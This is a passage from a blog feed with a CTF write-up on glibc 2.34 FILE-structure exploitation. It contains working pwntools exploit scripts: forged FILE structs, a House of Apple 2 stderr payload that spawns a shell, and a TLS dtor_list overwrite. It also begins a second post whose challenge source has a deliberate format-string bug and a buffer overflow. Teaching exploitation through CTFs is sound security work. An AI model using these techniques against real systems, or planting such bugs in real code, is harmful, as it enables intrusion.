      0x7e996ea91f65 488d0df4791800        &amp;lt;_IO_sgetn+0x5&amp;gt;   lea    rcx, [rip + 0x1879f4] # 0x7e996ec19960 &amp;lt;_IO_helper_jumps&amp;gt;
      0x7e996ea91f6c 488d0555871800        &amp;lt;_IO_sgetn+0xc&amp;gt;   lea    rax, [rip + 0x188755] # 0x7e996ec1a6c8 &amp;lt;__elf_set___libc_atexit_element__IO_cleanup__&amp;gt;
      0x7e996ea91f73 4829c8                &amp;lt;_IO_sgetn+0x13&amp;gt;   sub    rax, rcx
      0x7e996ea91f76 4883ec20              &amp;lt;_IO_sgetn+0x16&amp;gt;   sub    rsp, 0x20

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Below is the implementation of _IO_file_xsgetn.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;size_t
_IO_file_xsgetn (FILE *fp, void *data, size_t n)
{
  size_t want, have;
  ssize_t count;
  char *s = data;

  want = n;

  if (fp-&amp;gt;_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp-&amp;gt;_IO_save_base != NULL)
	{
	  free (fp-&amp;gt;_IO_save_base);
	  fp-&amp;gt;_flags &amp;amp;= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We don&apos;t want to go into this path so fp-&amp;gt;_IO_buf_base == NULL this condition should be false.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  while (want &amp;gt; 0)/*this condition is true*/
    {
      have = fp-&amp;gt;_IO_read_end - fp-&amp;gt;_IO_read_ptr;
      if (want &amp;lt;= have)/*we don&apos; want this condition */
	{
	  memcpy (s, fp-&amp;gt;_IO_read_ptr, want);
	  fp-&amp;gt;_IO_read_ptr += want;
	  want = 0;
	}
      else
	{
	  if (have &amp;gt; 0)/*again undesirable*/
	    {
	      s = __mempcpy (s, fp-&amp;gt;_IO_read_ptr, have);
	      want -= have;
	      fp-&amp;gt;_IO_read_ptr += have;
	    }

	  /* Check for backup and repeat */
	  if (_IO_in_backup (fp))/*test   DWORD PTR [rbx], 0x100*/
	    {/*what can i say except don&apos;t go into this !!*/
	      _IO_switch_to_main_get_area (fp);
	      continue;
	    }

	  /* If we now want less than a buffer, underflow and repeat
	     the copy.  Otherwise, _IO_SYSREAD directly to
	     the user buffer. */
	  if (fp-&amp;gt;_IO_buf_base
	      &amp;amp;&amp;amp; want &amp;lt; (size_t) (fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base))
	    {/*desirable condition as this will call __underflow and so on......*/
	      if (__underflow (fp) == EOF)
		break;

	      continue;
	    }
}
/*skipped the rest loc */
libc_hidden_def (_IO_file_xsgetn)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing interesting except __underflow. Touring the code below we can find the call to again a pointer in vtable which is _IO_UNDERFLOW.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
int
__underflow (FILE *fp)
{
  if (_IO_vtable_offset (fp) == 0 &amp;amp;&amp;amp; _IO_fwide (fp, -1) != -1)
    return EOF;//this condition is not in disassembly i don&apos;t know the reason.

  if (fp-&amp;gt;_mode == 0)
    _IO_fwide (fp, -1);
  if (_IO_in_put_mode (fp))/*#define _IO_in_put_mode(_fp) ((_fp)-&amp;gt;_flags &amp;amp; _IO_CURRENTLY_PUTTING)*/
    if (_IO_switch_to_get_mode (fp) == EOF)//_flags is now 0x0(if ^ condition is fulfilled)
      return EOF;
  if (fp-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_IO_read_end)//ignore
    return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;
  if (_IO_in_backup (fp))/*#define _IO_in_backup(fp) ((fp)-&amp;gt;_flags &amp;amp; _IO_IN_BACKUP))*///ignored
    {
      _IO_switch_to_main_get_area (fp);
      if (fp-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_IO_read_end)
	return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;
    }
  if (_IO_have_markers (fp))/*#define _IO_have_markers(fp) ((fp)-&amp;gt;_markers != NULL) *///ignored
    {
      if (save_for_backup (fp, fp-&amp;gt;_IO_read_end))
	return EOF;
    }
  else if (_IO_have_backup (fp))/*#define _IO_have_backup(fp) ((fp)-&amp;gt;_IO_save_base != NULL)*///ignored
    _IO_free_backup_area (fp);
  return _IO_UNDERFLOW (fp);
}
libc_hidden_def (__underflow)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Somehow we have to find a path that will successfully reach this return _IO_UNDERFLOW (fp).
Most of the above condition is just one loc defined as macro in libiop.h and is very easy to read.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
int
_IO_switch_to_get_mode (FILE *fp)
{
  if (fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base)
    if (_IO_OVERFLOW (fp, EOF) == EOF)
      return EOF;
  if (_IO_in_backup (fp))
    fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_backup_base;
  else
    {
      fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_buf_base;
      if (fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_read_end)
	fp-&amp;gt;_IO_read_end = fp-&amp;gt;_IO_write_ptr;
    }
  fp-&amp;gt;_IO_read_ptr = fp-&amp;gt;_IO_write_ptr;

  fp-&amp;gt;_IO_write_base = fp-&amp;gt;_IO_write_ptr = fp-&amp;gt;_IO_write_end = fp-&amp;gt;_IO_read_ptr;

  fp-&amp;gt;_flags &amp;amp;= ~_IO_CURRENTLY_PUTTING;//_flags = 0x0;
  return 0;//not EOF so fine!
}
libc_hidden_def (_IO_switch_to_get_mode)

//right now _flags = 0x0; so most of the &quot;and&quot; condition -&amp;gt;false
int
_IO_new_file_underflow (FILE *fp)
{
  ssize_t count;

  /* Nope */
  if (fp-&amp;gt;_flags &amp;amp; _IO_EOF_SEEN)
    return EOF;
/*Again Nope */
  if (fp-&amp;gt;_flags &amp;amp; _IO_NO_READS)
    {
      fp-&amp;gt;_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }/*Nope */
  if (fp-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_IO_read_end)
    return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;
    /*Nope */
  if (fp-&amp;gt;_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp-&amp;gt;_IO_save_base != NULL)
	{
	  free (fp-&amp;gt;_IO_save_base);
	  fp-&amp;gt;_flags &amp;amp;= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }
  /*Hell naww */

  if (fp-&amp;gt;_flags &amp;amp; (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn&apos;t
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (stdout);

      if ((stdout-&amp;gt;_flags &amp;amp; (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (stdout, EOF);

      _IO_release_lock (stdout);
    }

  _IO_switch_to_get_mode (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_read_ptr = fp-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_IO_read_end = fp-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_IO_write_base = fp-&amp;gt;_IO_write_ptr = fp-&amp;gt;_IO_write_end
    = fp-&amp;gt;_IO_buf_base;
/*Gem Alert!!! */
//rdi-&amp;gt;0x0; rsi-&amp;gt;user controlled, rdx-&amp;gt;user controlled
  count = _IO_SYSREAD (fp, fp-&amp;gt;_IO_buf_base,
		       fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);
           /*do not care loc!!!!*/
  if (count &amp;lt;= 0)
    {
      if (count == 0)
	fp-&amp;gt;_flags |= _IO_EOF_SEEN;
      else
	fp-&amp;gt;_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp-&amp;gt;_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
	 handles.  As a result, our offset cache would no longer be valid, so
	 unset it.  */
      fp-&amp;gt;_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp-&amp;gt;_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp-&amp;gt;_offset, count);
  return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now  this loc is banger cuz it calls read with all arguments in user control. A simple receipe to arbitrary write.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---------------------------------------------------------------
count = _IO_SYSREAD (fp, fp-&amp;gt;_IO_buf_base,
		       fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);

----------------------------------------------------------------
#define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)
__read (int fd, void *buf, size_t nbytes)
{
  return __pread64 (fd, buf, nbytes, -1);
}
libc_hidden_weak (__read)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is most of the bits that will manipulate the path as most of the if conditions relies on the _flag of fp.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Magic number and bits for the _flags field.  The magic number is
   mostly vestigial, but preserved for compatibility.  It occupies the
   high 16 bits of _flags; the low 16 bits are actual flag bits.  */

#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don&apos;t deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don&apos;t call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Listing all of the conditions-&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;fp-&amp;gt;_IO_buf_base -&amp;gt; start of the write address.&lt;/li&gt;
&lt;li&gt;fp-&amp;gt;_IO_buf_end -&amp;gt;end of the write address.&lt;/li&gt;
&lt;li&gt;length = fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base and this should be greater than &lt;code&gt;want&lt;/code&gt; which is 0x78.&lt;/li&gt;
&lt;li&gt;_flag |= _IO_CURRENTLY_PUTTING(so that _flags = 0x0)&lt;/li&gt;
&lt;li&gt;Rest all pointers zero&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;fp = pack(0xfbad0800)#0x0
fp =pack(0x800)#this is fine as long as there is no CHECK_FILE(fp)
fp +=pack(0x0)#8
fp+=pack(0x0)#10
fp+=pack(0x0)#18
fp+=pack(0x0)#20
fp+=pack(0x0)#28
fp+=pack(0x0)#30
fp+=pack(0xdeadbeef)#38(buf_base)
fp+=pack(0xdeadbeef+0x100)#40(buf_end)
# fp +=pack(stderr-0x20)
# fp+=pack(stderr+0xe0+0x20)
fp+=pack(0x0)#48
fp+=p8(0x0)*(0x68-len(fp))
fp+=pack(libc_leak+0x1947b0)
fp+=pack(0x0)

io.send(fp)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/read_syscall.png&quot; alt=&quot;read_syscall&quot; title=&quot;read_syscall&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/images/backtrace.png&quot; alt=&quot;backtrace&quot; title=&quot;backtrace&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Context: After getting &lt;code&gt;arbitrary write&lt;/code&gt;, I mindlessly went for house of apple 2 cuz why not?  I overwrote &lt;code&gt;stderr&lt;/code&gt; with payload that I made long ago and waited for low cortisol shell,but what i recevied was high cortisol &lt;code&gt;EOF&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I am not explaining house of apple 2. there are tons of blogs on internet and that explains better!
well EOF is not shell so I started debugging exit_handler in gdb and reached at this code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp-&amp;gt;_chain)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp-&amp;gt;_mode &amp;lt;= 0 &amp;amp;&amp;amp; fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       &amp;amp;&amp;amp; fp-&amp;gt;_mode &amp;gt; 0 &amp;amp;&amp;amp; (fp-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr
				    &amp;gt; fp-&amp;gt;_wide_data-&amp;gt;_IO_write_base))
	   )
	  &amp;amp;&amp;amp; _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif

  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My payload relied on the fact that _IO_OVERFLOW (fp, EOF) -&amp;gt; this should be called with fp as &lt;code&gt;stderr&lt;/code&gt; which should be easy peasy cuz &lt;code&gt;_IO_list_all&lt;/code&gt; is linked list that is initialized to &lt;code&gt;stderr&lt;/code&gt;. and then next fp traverses via &lt;code&gt;_chain&lt;/code&gt;. But guess what i did not account for ,the new file structure which was allocated on heap. May be I did but I think, I assumed it to be placed at the end of linked list which was not the case,
and the reason is this&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
void
_IO_link_in (struct _IO_FILE_plus *fp)
{
  if ((fp-&amp;gt;file._flags &amp;amp; _IO_LINKED) == 0)
    {
      fp-&amp;gt;file._flags |= _IO_LINKED;
#ifdef _IO_MTSAFE_IO/*hmm cool but not relevant to this chall*/
      _IO_cleanup_region_start_noarg (flush_cleanup);
      _IO_lock_lock (list_all_lock);
      run_fp = (FILE *) fp;
      _IO_flockfile ((FILE *) fp);
#endif
      fp-&amp;gt;file._chain = (FILE *) _IO_list_all;
      _IO_list_all = fp;
#ifdef _IO_MTSAFE_IO
      _IO_funlockfile ((FILE *) fp);
      run_fp = NULL;
      _IO_lock_unlock (list_all_lock);
      _IO_cleanup_region_end (0);
#endif
    }
}
libc_hidden_def (_IO_link_in)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fopen internally calls this function &lt;code&gt;_IO_link_in&lt;/code&gt; and fp is inserted at the head of the linked list so now &lt;code&gt;__GI__IO_list_all&lt;/code&gt; is like &lt;code&gt;fp-&amp;gt;stderr-&amp;gt;stdout-&amp;gt;stdin-&amp;gt;0x0&lt;/code&gt; and before exiting prevent_fsop nulls the &lt;code&gt;_chain&lt;/code&gt; which breaks the linked list to only &lt;code&gt;fp-&amp;gt;0x0&lt;/code&gt; and thus EOF.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x79b097e9137a &amp;lt;_IO_link_in+0xfa&amp;gt;     mov    rdx, QWORD PTR [rip + 0x1882df] # 0x79b098019660 &amp;lt;__GI__IO_list_all&amp;gt;
0x79b097e91381  &amp;lt;_IO_link_in+0x101&amp;gt;   add    DWORD PTR [rdi + 0x4], 0x1
0x79b097e91385  &amp;lt;_IO_link_in+0x105&amp;gt;   mov    QWORD PTR [rdi + 0x8], rbp
0x79b097e91389  &amp;lt;_IO_link_in+0x109&amp;gt;   mov    QWORD PTR [rip + 0x1882d0], rbx # 0x79b098019660 &amp;lt;__GI__IO_list_all&amp;gt;
0x79b097e91390  &amp;lt;_IO_link_in+0x110&amp;gt;   mov    QWORD PTR [rbx + 0x68], rdx

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;While debugging in gef, I found that &lt;code&gt;__GI__IO_list_all&lt;/code&gt; is very close to &lt;code&gt;_IO_2_1_stderr&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x79b098019660 &amp;lt;__GI__IO_list_all&amp;gt;:	0x0000633a85c90320	0x0000000000000000
0x79b098019670:	                    0x0000000000000000	0x0000000000000000
0x79b098019680 &amp;lt;_IO_2_1_stderr_&amp;gt;:	  0x00000000fbad2086	0x0000000000000000
0x79b098019690 &amp;lt;_IO_2_1_stderr_+16&amp;gt;:0x0000000000000000	0x0000000000000000
0x79b0980196a0 &amp;lt;_IO_2_1_stderr_+32&amp;gt;:0x0000000000000000	0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And with arb write primitive and libc leak, I just overwrote &lt;code&gt;__GI__IO_list_all&lt;/code&gt; to stderr thus calling &lt;code&gt;_IO_OVERFLOW&lt;/code&gt; with fp as &lt;code&gt;stderr&lt;/code&gt;.
and shell!!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
elf = context.binary = ELF(&quot;./chall&quot;)
libc = ELF(&quot;./libc.so.6&quot;)
context.log_level = &quot;Debug&quot;

io = process()
io.recvuntil(b&quot;Structure:&quot;)
heap_leak = int(io.recvn(0xf),0x10)
print(hex(heap_leak))
io.recvuntil(b&quot;well:&quot;)


libc_leak = int(io.recvn(0xf),0x10)
print(hex(libc_leak))
# gdb.attach(io,gdbscript =&apos;&apos;&apos;break *fread&apos;&apos;&apos;)
stderr = libc_leak+0x1947b0

libc.address = stderr-libc.sym[&apos;_IO_2_1_stderr_&apos;]
fp = pack(0x800)#0x0
fp +=pack(0x0)#8
fp+=pack(0x0)#10
fp+=pack(0x0)#18
fp+=pack(0x0)#20
fp+=pack(0x0)#28
fp+=pack(0x0)#30
fp +=pack(stderr-0x20)
fp+=pack(stderr+0xe0+0x20)

fp+=pack(0x0)#48
fp+=p8(0x0)*(0x68-len(fp))
fp+=pack(libc_leak+0x1947b0)
fp+=pack(0x0)

io.send(fp)
print(len(fp))


#########stderr payload#####################

libc_base =libc.address
stderr_address = stderr
system_addr = libc_base+libc.sym.system
fake_wide_data = stderr_address-0x48
wide_vtable  = stderr_address


print(hex(wide_vtable))
lock = libc_base+0x21b730
fake_stderr_vtable = libc_base+0x21a020#io_Wfile_jumps
lock = 0x0
chain = libc_base+0x218a80

payload=pack(stderr)
payload +=pack(0x0)*0x3
payload +=pack(0x3b01010101010101)#0x0
payload+=b&quot;/bin/sh\x00&quot;#0x8
payload+=pack(0x0)#0x10
payload+=b&quot;\x00&quot;*(0x20-0x18)
payload +=pack(0x0)#0x20
payload+=pack(0x1)#0x28
payload+=p8(0x0)*(0x60-0x30)
payload+=pack(libc_base+0x54ae0)#60
payload+=pack(chain)#68
payload+=p8(0x0)*(0x88-0x70)
payload+=pack(lock)#0x88
payload+=p8(0x0)*(0x98-0x90)#0x90
payload+=pack(wide_vtable-0x8)#0x98
payload+=p8(0x0)*(0xa0-0x90-0x10)
payload+=pack(fake_wide_data)#a0
payload+=pack(0x0)#a8
payload+=p8(0x0)*(0xd8-0xa8-0x8)
payload+=pack(fake_stderr_vtable)

print(f&quot;fake wide data address = {hex(fake_wide_data)}&quot;)
print(f&quot;fake_wide vtable address is {hex(wide_vtable)}&quot;)
print(f&quot;libc base address:{hex(libc_base)}&quot;)
print(len(payload))
io.sendline(payload)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;A better exploit?&lt;/h3&gt;
&lt;p&gt;As libc version is 2.34, tls sections is alligned with libc sections and thus we can also overwrite &lt;code&gt;dtor_list&lt;/code&gt; struct and get shell. I am too lazy to make exploit with this but I will just yoink the src code and disassembly and explain some stuff.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef void (*dtor_func) (void *);

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur-&amp;gt;func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list-&amp;gt;next;
      func (cur-&amp;gt;obj);

      /* Ensure that the MAP dereference happens before
	 l_tls_dtor_count decrement.  That way, we protect this access from a
	 potential DSO unload in _dl_close_worker, which happens when
	 l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&amp;amp;cur-&amp;gt;map-&amp;gt;l_tls_dtor_count, -1);
      free (cur);
    }
}
libc_hidden_def (__call_tls_dtors)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Dump of assembler code for function __GI___call_tls_dtors:
   0x0000777d6fe49dc0 &amp;lt;+0&amp;gt;:	endbr64
   0x0000777d6fe49dc4 &amp;lt;+4&amp;gt;:	push   rbp
   0x0000777d6fe49dc5 &amp;lt;+5&amp;gt;:	push   rbx
   0x0000777d6fe49dc6 &amp;lt;+6&amp;gt;:	sub    rsp,0x8
   0x0000777d6fe49dca &amp;lt;+10&amp;gt;:	mov    rbx,QWORD PTR [rip+0x1cdfbf]        # 0x777d70017d90
   0x0000777d6fe49dd1 &amp;lt;+17&amp;gt;:	mov    rbp,QWORD PTR fs:[rbx]
   0x0000777d6fe49dd5 &amp;lt;+21&amp;gt;:	test   rbp,rbp
   0x0000777d6fe49dd8 &amp;lt;+24&amp;gt;:	je     0x777d6fe49e1d &amp;lt;__GI___call_tls_dtors+93&amp;gt;
   0x0000777d6fe49dda &amp;lt;+26&amp;gt;:	nop    WORD PTR [rax+rax*1+0x0]
   0x0000777d6fe49de0 &amp;lt;+32&amp;gt;:	mov    rdx,QWORD PTR [rbp+0x18]
   0x0000777d6fe49de4 &amp;lt;+36&amp;gt;:	mov    rax,QWORD PTR [rbp+0x0]
   0x0000777d6fe49de8 &amp;lt;+40&amp;gt;:	ror    rax,0x11
   0x0000777d6fe49dec &amp;lt;+44&amp;gt;:	xor    rax,QWORD PTR fs:0x30
   0x0000777d6fe49df5 &amp;lt;+53&amp;gt;:	mov    QWORD PTR fs:[rbx],rdx
   0x0000777d6fe49df9 &amp;lt;+57&amp;gt;:	mov    rdi,QWORD PTR [rbp+0x8]
   0x0000777d6fe49dfd &amp;lt;+61&amp;gt;:	call   rax
   0x0000777d6fe49dff &amp;lt;+63&amp;gt;:	mov    rax,QWORD PTR [rbp+0x10]
   0x0000777d6fe49e03 &amp;lt;+67&amp;gt;:	lock sub QWORD PTR [rax+0x468],0x1
   0x0000777d6fe49e0c &amp;lt;+76&amp;gt;:	mov    rdi,rbp
   0x0000777d6fe49e0f &amp;lt;+79&amp;gt;:	call   0x777d6fe2c350 &amp;lt;free@plt&amp;gt;
   0x0000777d6fe49e14 &amp;lt;+84&amp;gt;:	mov    rbp,QWORD PTR fs:[rbx]
   0x0000777d6fe49e18 &amp;lt;+88&amp;gt;:	test   rbp,rbp
   0x0000777d6fe49e1b &amp;lt;+91&amp;gt;:	jne    0x777d6fe49de0 &amp;lt;__GI___call_tls_dtors+32&amp;gt;
   0x0000777d6fe49e1d &amp;lt;+93&amp;gt;:	add    rsp,0x8
   0x0000777d6fe49e21 &amp;lt;+97&amp;gt;:	pop    rbx
   0x0000777d6fe49e22 &amp;lt;+98&amp;gt;:	pop    rbp
   0x0000777d6fe49e23 &amp;lt;+99&amp;gt;:	ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;while loop check is at +24,  and rbx contains negative value, fs:rbx is the address of struct dtor_list.We have to null the fs:0x30(random_value) cuz then at +44 xor operation will have no effect. So overwriting func with with system&amp;lt;&amp;lt;17 and then obj with address of &quot;bin/sh&quot; will give the shell.&lt;/p&gt;
&lt;h3&gt;Update&lt;/h3&gt;
&lt;p&gt;I think I&apos;ll just complete it. I am making exploit locally with ASLR off so the offset will be different from Docker.
This is the tls section
&lt;img src=&quot;../../assets/images/tls_fsop.png&quot; alt=&quot;TLS&quot; title=&quot;tls&quot; /&gt;&lt;/p&gt;
&lt;p&gt;so to get shell we have to forge dtor_list and currently there is none(see the checks +24),
so we will put a pointer there which will be our fake dtor_list. Also the ptr mangle cookie should be zero to null the side-effect of xor operation.&lt;/p&gt;
&lt;p&gt;This is after overwriting stuff..
&lt;img src=&quot;../../assets/images/after.png&quot; alt=&quot;TLS&quot; title=&quot;tls&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tls_struct =pack(libc.address+0x3bd6e8+0x8)
tls_payload = tls_struct
tls_payload+=pack(libc.sym.system&amp;lt;&amp;lt;17)
tls_payload+=pack(libc.address+0x1dbcba)
tls_payload+=pack(0x0)*0x8
tls_payload+=pack(libc.address+0x3bd740)
tls_payload+=pack(libc.address+0x3be160)
tls_payload+=pack(libc.address+0x3bd740)
tls_payload+=pack(0x0)*0x4
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Aftermath&lt;/h3&gt;
&lt;p&gt;Nice challenge! Touring libc source code is fun.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;p&gt;https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc
https://elixir.bootlin.com/glibc/glibc-2.34/source/stdlib/cxa_thread_atexit_impl.c#L89
https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/genops.c#L86
https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/genops.c#L685&lt;/p&gt;
</content:encoded></item><item><title>[n00b-CTF 2026]-Pwn/Googogaga</title><link>https://epsilons1na.github.io/posts/googogaga/</link><guid isPermaLink="true">https://epsilons1na.github.io/posts/googogaga/</guid><description>Judas, Juda-ah-ah ROP </description><pubDate>Sun, 08 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Overview&lt;/h3&gt;
&lt;p&gt;This is the challenge that I made in &lt;code&gt;n00b CTF&lt;/code&gt; which is Annual Recruitment CTF of InfoSecIITR for freshers.The goal of the challenge was to get the solvers know about the &lt;code&gt;format sting bug and ROP chain&lt;/code&gt;.
All mitigations are enabled&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Canary                                  : Enabled
NX                                      : Enabled
PIE                                     : Enabled
RELRO                                   : Full RELRO
Fortify                                 : Not found
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Source Code&lt;/h3&gt;
&lt;p&gt;This is the &lt;code&gt;source code&lt;/code&gt; for the &lt;code&gt;challenges&lt;/code&gt;.The &lt;code&gt;main()&lt;/code&gt; function does some religious buffering and
calls a function named &lt;code&gt;leak()&lt;/code&gt;.It&apos;s kinda obvious from the name that this function will leak the &lt;code&gt;address&lt;/code&gt; which will be used for later exploitation.Then It stores &lt;code&gt;0xdeadbeef&lt;/code&gt; in a &lt;code&gt;stack variable&lt;/code&gt; and then calls the function &lt;code&gt;arb_w()&lt;/code&gt;.
Then it performs a check on &lt;code&gt;check&lt;/code&gt; variable and after &lt;code&gt;passing check&lt;/code&gt; it calls &lt;code&gt;vuln&lt;/code&gt; function
The program is exiting via &lt;code&gt;_exit&lt;/code&gt; syscall.
Vuln function introduces plain old powerful &lt;code&gt;buffer overflow&lt;/code&gt; vulnerability.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void leak() {
  puts(&quot;S0 you have come !!!&quot;);
  puts(&quot;Time for some test!!!&quot;);
  puts((&quot;I hope you solved my previous challenge!!!&quot;));
  char leak[0x20] = {0x0};
  if (fgets(leak, 0x12, stdin)) {
    leak[strcspn(leak, &quot;\n&quot;)] = &apos;\0&apos;;
  }
  printf(leak);
  puts(&quot;\nSanity check&quot;);
}

void arb_w() {
  puts(&quot;Some play stuff!!&quot;);
  char input[0x80] = {0x0};
  puts(&quot;Enter your desire!!&quot;);
  if (fgets(input, 0x52, stdin)) {
    input[strcspn(input, &quot;\n&quot;)] = &apos;\0&apos;; // new line remover
  }
  printf(input);
}

void win() { puts((&quot;Sanity check system(&apos;/bin/sh&apos;)&quot;)); }

void vuln() {
  puts((&quot;So how did you reach here? !!!&quot;));
  char some[0x10];
  read(STDIN_FILENO, some, 0x100);
  puts(&quot;I hope you had fun!!&quot;);
}

int main() {
  // setup
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  leak();
  size_t check = 0xcafebabe;
  arb_w();
  puts(&quot;\nDid you realise it?&quot;);
  if (check == 0xdeadbeef) {
    puts(&quot;Ohho , you still want to fight?&quot;);
    vuln();
  }
  puts(&quot;\nNo you did not !!&quot;);
  _exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
